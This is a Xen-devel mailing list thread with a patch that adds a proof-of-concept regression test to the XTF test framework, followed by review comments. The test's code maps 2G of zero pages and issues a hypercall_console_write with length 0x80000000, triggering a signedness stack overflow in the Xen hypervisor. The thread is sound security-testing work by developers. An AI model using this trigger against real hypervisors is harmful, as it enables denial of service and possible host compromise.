[Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC

Andrew Cooper posted 1 patch 4 years, 3 months ago
Failed in applying to current master (apply log)
docs/all-tests.dox                 |  2 ++
tests/xsa-consoleio-write/Makefile |  9 +++++
tests/xsa-consoleio-write/main.c   | 69 ++++++++++++++++++++++++++++++++++++++
3 files changed, 80 insertions(+)
create mode 100644 tests/xsa-consoleio-write/Makefile
create mode 100644 tests/xsa-consoleio-write/main.c
[Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC
Posted by Andrew Cooper 4 years, 3 months ago
Classify it as an XSA test (which arguably ought to be named 'security'),
despite no XSA being issues.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
 docs/all-tests.dox                 |  2 ++
 tests/xsa-consoleio-write/Makefile |  9 +++++
 tests/xsa-consoleio-write/main.c   | 69 ++++++++++++++++++++++++++++++++++++++
 3 files changed, 80 insertions(+)
 create mode 100644 tests/xsa-consoleio-write/Makefile
 create mode 100644 tests/xsa-consoleio-write/main.c

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index 50429127..bcf9b7ed 100644
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
 @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
 emulation.
 
+@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-consoleio-write/Makefile b/tests/xsa-consoleio-write/Makefile
new file mode 100644
index 00000000..d189b4de
--- /dev/null
+++ b/tests/xsa-consoleio-write/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-consoleio-write
+CATEGORY  := xsa
+TEST-ENVS := hvm32pae
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-consoleio-write/main.c b/tests/xsa-consoleio-write/main.c
new file mode 100644
index 00000000..f10a6256
--- /dev/null
+++ b/tests/xsa-consoleio-write/main.c
@@ -0,0 +1,69 @@
+/**
+ * @file tests/xsa-consoleio-write/main.c
+ * @ref test-xsa-consoleio-write
+ *
+ * This issue was discovered before it made it into any released version of
+ * Xen.  Therefore, no XSA or CVE was issued.
+ *
+ * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
+ * characters intact, as this is a requirement for various TTY setups.
+ *
+ * A signed-ness issue with the length calculation lead to a case where Xen
+ * will copy between 2 and 4G of guest provided data into a 128 byte object on
+ * the stack.
+ *
+ * @see tests/xsa-consoleio-write/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "CONSOLEIO_write stack overflow PoC";
+
+uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
+
+/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
+asm (".section \".data.page_aligned\", \"aw\";"
+     ".align 4096;"
+
+     "l1t:"
+     ".rept 512;"
+     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l1t, . - l1t;"
+     ".type l1t, @object;"
+
+     "l2t:"
+     ".rept 512;"
+     ".long l1t + "STR(PF_SYM(AD, P))", 0;"
+     ".endr;"
+     ".size l2t, . - l2t;"
+     ".type l2t, @object;"
+
+     ".previous;"
+    );
+extern intpte_t l2t[512];
+
+void test_main(void)
+{
+    /* Map 2G worth of zero_page[] starting from 1G... */
+    pae_l3_identmap[1] = pae_l3_identmap[2] = pte_from_virt(l2t, PF_SYM(AD, P));
+
+    /*
+     * ... , write those zeros with a length possible to be confused by a
+     * signed bounds check...
+     */
+    hypercall_console_write(_p(GB(1)), 0x80000000);
+
+    /* ... and if Xen is still alive, it didn't trample over its own stack. */
+
+    xtf_success("Success: Not vulnerable to CONSOLEIO_write stack overflow\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.11.0


_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xenproject.org
https://lists.xenproject.org/mailman/listinfo/xen-devel
Re: [Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC
Posted by Jan Beulich 4 years, 3 months ago
On 29.11.2019 15:35, Andrew Cooper wrote:
> Classify it as an XSA test (which arguably ought to be named 'security'),
> despite no XSA being issues.

Nit: issued

> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

FWIW
Reviewed-by: Jan Beulich <jbeulich@suse.com>
with a remark and a question:

> --- a/docs/all-tests.dox
> +++ b/docs/all-tests.dox
> @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
>  @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
>  emulation.
>  
> +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
> +
>  
>  @section index-utility Utilities

Do you really want two successive blank lines there?

> --- /dev/null
> +++ b/tests/xsa-consoleio-write/main.c
> @@ -0,0 +1,69 @@
> +/**
> + * @file tests/xsa-consoleio-write/main.c
> + * @ref test-xsa-consoleio-write
> + *
> + * This issue was discovered before it made it into any released version of
> + * Xen.  Therefore, no XSA or CVE was issued.
> + *
> + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
> + * characters intact, as this is a requirement for various TTY setups.
> + *
> + * A signed-ness issue with the length calculation lead to a case where Xen
> + * will copy between 2 and 4G of guest provided data into a 128 byte object on
> + * the stack.
> + *
> + * @see tests/xsa-consoleio-write/main.c
> + */
> +#include <xtf.h>
> +
> +const char test_title[] = "CONSOLEIO_write stack overflow PoC";
> +
> +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
> +
> +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
> +asm (".section \".data.page_aligned\", \"aw\";"
> +     ".align 4096;"
> +
> +     "l1t:"
> +     ".rept 512;"
> +     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"

There being no further (runtime) adjustment to this and ...

> +     ".endr;"
> +     ".size l1t, . - l1t;"
> +     ".type l1t, @object;"
> +
> +     "l2t:"
> +     ".rept 512;"
> +     ".long l1t + "STR(PF_SYM(AD, P))", 0;"

... this, is it set in stone that phys == lin in XTF tests? Or
did you mean this to be hvm32, not hvm32pae?

Jan

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xenproject.org
https://lists.xenproject.org/mailman/listinfo/xen-devel
Re: [Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC
Posted by Jan Beulich 4 years, 3 months ago
On 29.11.2019 15:43, Jan Beulich wrote:
> On 29.11.2019 15:35, Andrew Cooper wrote:
>> Classify it as an XSA test (which arguably ought to be named 'security'),
>> despite no XSA being issues.
> 
> Nit: issued
> 
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> 
> FWIW
> Reviewed-by: Jan Beulich <jbeulich@suse.com>
> with a remark and a question:
> 
>> --- a/docs/all-tests.dox
>> +++ b/docs/all-tests.dox
>> @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
>>  @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
>>  emulation.
>>  
>> +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
>> +
>>  
>>  @section index-utility Utilities
> 
> Do you really want two successive blank lines there?
> 
>> --- /dev/null
>> +++ b/tests/xsa-consoleio-write/main.c
>> @@ -0,0 +1,69 @@
>> +/**
>> + * @file tests/xsa-consoleio-write/main.c
>> + * @ref test-xsa-consoleio-write
>> + *
>> + * This issue was discovered before it made it into any released version of
>> + * Xen.  Therefore, no XSA or CVE was issued.
>> + *
>> + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
>> + * characters intact, as this is a requirement for various TTY setups.
>> + *
>> + * A signed-ness issue with the length calculation lead to a case where Xen
>> + * will copy between 2 and 4G of guest provided data into a 128 byte object on
>> + * the stack.
>> + *
>> + * @see tests/xsa-consoleio-write/main.c
>> + */
>> +#include <xtf.h>
>> +
>> +const char test_title[] = "CONSOLEIO_write stack overflow PoC";
>> +
>> +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
>> +
>> +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
>> +asm (".section \".data.page_aligned\", \"aw\";"
>> +     ".align 4096;"
>> +
>> +     "l1t:"
>> +     ".rept 512;"
>> +     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"
> 
> There being no further (runtime) adjustment to this and ...
> 
>> +     ".endr;"
>> +     ".size l1t, . - l1t;"
>> +     ".type l1t, @object;"
>> +
>> +     "l2t:"
>> +     ".rept 512;"
>> +     ".long l1t + "STR(PF_SYM(AD, P))", 0;"
> 
> ... this, is it set in stone that phys == lin in XTF tests? Or
> did you mean this to be hvm32, not hvm32pae?

Well, this last part was nonsense - there wouldn't be any page
tables if it was hvm32. But the question remains.

Jan

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xenproject.org
https://lists.xenproject.org/mailman/listinfo/xen-devel
Re: [Xen-devel] [PATCH XTF] CONSOLEIO_write stack overflow PoC
Posted by Andrew Cooper 4 years, 3 months ago
On 29/11/2019 14:45, Jan Beulich wrote:
> On 29.11.2019 15:43, Jan Beulich wrote:
>> On 29.11.2019 15:35, Andrew Cooper wrote:
>>> Classify it as an XSA test (which arguably ought to be named 'security'),
>>> despite no XSA being issues.
>> Nit: issued

Will fix.

>>
>>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> FWIW
>> Reviewed-by: Jan Beulich <jbeulich@suse.com>
>> with a remark and a question:
>>
>>> --- a/docs/all-tests.dox
>>> +++ b/docs/all-tests.dox
>>> @@ -143,6 +143,8 @@ XSA-293 - See @ref test-pv-fsgsbase.
>>>  @subpage test-xsa-298 - missing descriptor table limit checking in x86 PV
>>>  emulation.
>>>  
>>> +@subpage test-xsa-consoleio-write - CONSOLEIO_write stack overflow
>>> +
>>>  
>>>  @section index-utility Utilities
>> Do you really want two successive blank lines there?

Yes.  It is an awkward consequence of the doxygen markup for subpage and
section looking very similar at a glance.

Having a double space is the only way to easily spot paragraph
boundaries when skimming through the file.

>>
>>> --- /dev/null
>>> +++ b/tests/xsa-consoleio-write/main.c
>>> @@ -0,0 +1,69 @@
>>> +/**
>>> + * @file tests/xsa-consoleio-write/main.c
>>> + * @ref test-xsa-consoleio-write
>>> + *
>>> + * This issue was discovered before it made it into any released version of
>>> + * Xen.  Therefore, no XSA or CVE was issued.
>>> + *
>>> + * A bugfix in Xen 4.13 altered CONSOLEIO_write to tolerate passing NUL
>>> + * characters intact, as this is a requirement for various TTY setups.
>>> + *
>>> + * A signed-ness issue with the length calculation lead to a case where Xen
>>> + * will copy between 2 and 4G of guest provided data into a 128 byte object on
>>> + * the stack.
>>> + *
>>> + * @see tests/xsa-consoleio-write/main.c
>>> + */
>>> +#include <xtf.h>
>>> +
>>> +const char test_title[] = "CONSOLEIO_write stack overflow PoC";
>>> +
>>> +uint8_t zero_page[PAGE_SIZE] __page_aligned_bss;
>>> +
>>> +/* Have the assembler build an L1/L2 pair mapping zero_page[] many times. */
>>> +asm (".section \".data.page_aligned\", \"aw\";"
>>> +     ".align 4096;"
>>> +
>>> +     "l1t:"
>>> +     ".rept 512;"
>>> +     ".long zero_page + "STR(PF_SYM(AD, P))", 0;"
>> There being no further (runtime) adjustment to this and ...
>>
>>> +     ".endr;"
>>> +     ".size l1t, . - l1t;"
>>> +     ".type l1t, @object;"
>>> +
>>> +     "l2t:"
>>> +     ".rept 512;"
>>> +     ".long l1t + "STR(PF_SYM(AD, P))", 0;"
>> ... this, is it set in stone that phys == lin in XTF tests? Or
>> did you mean this to be hvm32, not hvm32pae?
> Well, this last part was nonsense - there wouldn't be any page
> tables if it was hvm32. But the question remains.

Yes.  XTF has an identity layout (and this is stated in mm.h),
specifically for compatibility between unpaged and paged tests.

Any test wanting to do something more exciting is free to do so.

~Andrew

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xenproject.org
https://lists.xenproject.org/mailman/listinfo/xen-devel